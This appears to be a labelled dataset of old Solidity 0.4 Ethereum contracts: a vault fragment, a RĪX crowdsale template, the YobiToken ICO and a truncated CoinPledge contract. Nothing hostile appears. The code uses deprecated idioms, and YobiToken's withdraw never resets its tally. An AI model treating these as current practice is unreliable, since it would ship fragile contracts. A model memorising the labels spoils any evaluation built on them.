Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MultiVault is Ownable {
using SafeMathLib for uint;
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
Crowdsale public crowdsale;
FractionalERC20 public token;
uint public initialTokenBalance;
bool public initialTokenBalanceFetched;
enum State{Unknown, Holding, Distributing}
event Invested(address investor, uint value);
event Distributed(address investors, uint count);
function MultiVault(address _owner, uint _freezeEndsAt) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if (address(token) > 0)
return token;
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function addInvestor(address investor, uint amount) public onlyOwner {
if(getState() != State.Holding) throw;
if(amount == 0) throw;
bool existing = balances[investor] > 0;
if(existing) {
throw;
}
balances[investor] = balances[investor].plus(amount);
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = weiRaisedTotal.plus(amount);
Invested(investor, amount);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(!initialTokenBalanceFetched) {
throw;
}
return initialTokenBalance.times(balances[investor]) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return getClaimAmount(investor).minus(claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function fetchTokenBalance() onlyOwner {
if (!initialTokenBalanceFetched) {
initialTokenBalance = getToken().balanceOf(address(this));
if(initialTokenBalance == 0) throw;
initialTokenBalanceFetched = true;
} else {
throw;
}
}
function claim(uint amount) {
address investor = msg.sender;
if(!initialTokenBalanceFetched) {
throw;
}
if(getState() != State.Distributing) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
claimed[investor] = claimed[investor].plus(amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
}
function setToken(FractionalERC20 _token) public onlyOwner {
token = _token;
}
function getState() public returns(State) {
if(now > freezeEndsAt && initialTokenBalanceFetched) {
return State.Distributing;
} else {
return State.Holding;
}
}
function() payable {
throw;
}
} | 0 | 473 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RĪX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
constructor() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) public onlyService {
require(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() public view returns (bool) {
return msg.sender == serviceAccount;
}
function check() public payable onlyService notTriggered {
if (internalCheck()) {
emit Triggered(address(this).balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(62500000000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1532016047)];
uint64[1] memory timeEndsBounds = [uint64(1535471995)];
uint[1] memory weiRaisedAndTimeRates = [uint(500)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping (address => bool) private whitelist;
event WhitelistedAddressAdded(address indexed _address);
event WhitelistedAddressRemoved(address indexed _address);
modifier onlyIfWhitelisted(address _buyer) {
require(whitelist[_buyer]);
_;
}
function addAddressToWhitelist(address _address) external onlyOwner {
whitelist[_address] = true;
emit WhitelistedAddressAdded(_address);
}
function addAddressesToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
emit WhitelistedAddressAdded(_addresses[i]);
}
}
function removeAddressFromWhitelist(address _address) external onlyOwner {
delete whitelist[_address];
emit WhitelistedAddressRemoved(_address);
}
function removeAddressesFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
delete whitelist[_addresses[i]];
emit WhitelistedAddressRemoved(_addresses[i]);
}
}
function isWhitelisted(address _address) public view returns (bool) {
return whitelist[_address];
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, Checkable
, WhitelistedCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(8000 * TOKEN_DECIMAL_MULTIPLIER, 0xbC5F8A2d64026248EA2C3Aef800F96fB659cf027, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1535472000)
CappedCrowdsale(62500000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 230000000000000000;
return super.hasClosed() || remainValue;
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasClosed();
emit Checked(result);
return result;
}
function internalAction() internal {
finalization();
emit Finalized();
isFinalized = true;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 230000000000000000);
require(msg.value <= 575000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 525 |
pragma solidity ^0.4.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
assert(!halted);
_;
}
modifier onlyInEmergency {
assert(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract YobiToken is StandardToken, Haltable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
address public beneficiary1;
address public beneficiary2;
event Buy(address indexed participant, uint tokens, uint eth);
event GoalReached(uint amountRaised);
uint public softCap = 50000000000000;
uint public hardCap = 100000000000000;
bool public softCapReached = false;
bool public hardCapReached = false;
uint public price;
uint public collectedTokens;
uint public collectedEthers;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public startTime;
uint public endTime;
function YobiToken() {
name = "yobi";
symbol = "YOB";
decimals = 8;
totalSupply = 10000000000000000;
beneficiary1 = 0x2cC988E5A0D8d0163a241F68Fe35Bc97E0923e72;
beneficiary2 = 0xF5A4DEb2a685F5D3f859Df6A771CC4CC4f3c3435;
balances[beneficiary1] = totalSupply;
price = 600;
startTime = 1509426000;
endTime = startTime + 3 weeks;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
modifier onlyAfter(uint time) {
assert(now >= time);
_;
}
modifier onlyBefore(uint time) {
assert(now <= time);
_;
}
function () payable stopInEmergency {
doPurchase();
}
function doPurchase() private onlyAfter(startTime) onlyBefore(endTime) {
assert(!hardCapReached);
uint tokens = msg.value * price / 10000000000;
if (balanceOf(msg.sender) == 0) investorCount++;
balances[beneficiary1] = balances[beneficiary1].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
collectedTokens = collectedTokens.add(tokens);
collectedEthers = collectedEthers.add(msg.value);
if (collectedTokens >= softCap) {
softCapReached = true;
}
if (collectedTokens >= hardCap) {
hardCapReached = true;
}
weiRaised = weiRaised.add(msg.value);
tokensSold = tokensSold.add(tokens);
Transfer(beneficiary1, msg.sender, tokens);
Buy(msg.sender, tokens, msg.value);
}
function withdraw() returns (bool) {
assert((now >= endTime) || softCapReached);
assert((msg.sender == beneficiary1) || (msg.sender == beneficiary2));
if (!beneficiary1.send(collectedEthers * 99 / 100)) {
return false;
}
if (!beneficiary2.send(collectedEthers / 100)) {
return false;
}
return true;
}
} | 0 | 725 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
contract CoinPledge is Ownable {
using SafeMath for uint256;
uint constant daysToResolve = 7 days;
uint constant bonusPercentage = 50;
uint constant serviceFeePercentage = 10;
uint constant minBonus = 1 finney;
struct Challenge {
address user;
string name;
uint value;
address mentor;
uint startDate;
uint time;
uint mentorFee;
bool successed;
bool resolved;
}
struct User {
address addr;
string name;
}
event NewChallenge(
uint indexed challengeId,
address indexed user,
string name,
uint value,
address indexed mentor,
uint startDate,
uint time,
uint mentorFee
);
event ChallengeResolved(
uint indexed challengeId,
address indexed user,
address indexed mentor,
bool decision
);
event BonusFundChanged(
address indexed user,
uint value
);
event NewUsername(
address indexed addr,
string name
);
event Donation(
string name,
string url,
uint value,
uint timestamp
);
bool public isGameOver;
Challenge[] public challenges;
mapping(uint => address) public challengeToUser;
mapping(address => uint) public userToChallengeCount;
mapping(uint => address) public challengeToMentor;
mapping(address => uint) public mentorToChallengeCount;
mapping(address => User) public users;
address[] public allUsers;
mapping(string => address) private usernameToAddress;
mapping(address => uint) public bonusFund;
modifier gameIsNotOver() {
require(!isGameOver, "Game should be not over");
_;
}
modifier gameIsOver() {
require(isGameOver, "Game should be over");
_;
}
function getBonusFund(address user)
external
view
returns(uint) {
return bonusFund[user];
}
function getUsersCount()
external
view
returns(uint) {
return allUsers.length;
}
function getChallengesForUser(address user)
external
view
returns(uint[]) {
require(userToChallengeCount[user] > 0, "Has zero challenges");
uint[] memory result = new uint[](userToChallengeCount[user]);
uint counter = 0;
for (uint i = 0; i < challenges.length; i++) {
if (challengeToUser[i] == user)
{
result[counter] = i;
counter++;
}
}
return result;
}
function getChallengesForMentor(address mentor)
external
view
returns(uint[]) {
require(mentorToChallengeCount[mentor] > 0, "Has zero challenges");
uint[] memory result = new uint[](mentorToChallengeCount[mentor]);
uint counter = 0;
for (uint i = 0; i < challenges.length; i++) {
if (challengeToMentor[i] == mentor)
{
result[counter] = i;
counter++;
}
}
return result;
}
function gameOver()
external
gameIsNotOver
onlyOwner {
isGameOver = true;
}
function setUsername(string name)
external
gameIsNotOver {
require(bytes(name).length > 2, "Provide a name longer than 2 chars");
require(bytes(name).length <= 32, "Provide a name shorter than 33 chars");
require(users[msg.sender].addr == address(0x0), "You already have a name");
require(usernameToAddress[name] == address(0x0), "Name already taken");
users[msg.sender] = User(msg.sender, name);
usernameToAddress[name] = msg.sender;
allUsers.push(msg.sender);
emit NewUsername(msg.sender, name);
}
function createChallenge(string name, string mentor, uint time, uint mentorFee)
external
payable
gameIsNotOver
returns (uint retId) {
require(msg.value >= 0.01 ether, "Has to stake more than 0.01 ether");
require(mentorFee >= 0 ether, "Can't be negative");
require(mentorFee <= msg.value, "Can't be bigger than stake");
require(bytes(mentor).length > 0, "Has to be a mentor");
require(usernameToAddress[mentor] != address(0x0), "Mentor has to be registered");
require(time > 0, "Time has to be greater than zero");
address mentorAddr = usernameToAddress[mentor];
require(msg.sender != mentorAddr, "Can't be mentor to yourself");
uint startDate = block.timestamp;
uint id = challenges.push(Challenge(msg.sender, name, msg.value, mentorAddr, startDate, time, mentorFee, false, false)) - 1;
challengeToUser[id] = msg.sender;
userToChallengeCount[msg.sender]++;
challengeToMentor[id] = mentorAddr;
mentorToChallengeCount[mentorAddr]++;
emit NewChallenge(id, msg.sender, name, msg.value, mentorAddr, startDate, time, mentorFee);
return id;
}
function resolveChallenge(uint challengeId, bool decision)
external
gameIsNotOver {
Challenge storage challenge = challenges[challengeId];
require(challenge.resolved == false, "Challenge already resolved.");
if(block.timestamp < (challenge.startDate + challenge.time + daysToResolve))
require(challenge.mentor == msg.sender, "You are not the mentor for this challenge.");
else require((challenge.user == msg.sender) || (challenge.mentor == msg.sender), "You are not the user or mentor for this challenge.");
uint mentorFee;
uint serviceFee;
address user = challengeToUser[challengeId];
address mentor = challengeToMentor[challengeId];
challenge.successed = decision;
challenge.resolved = true;
uint remainingValue = challenge.value;
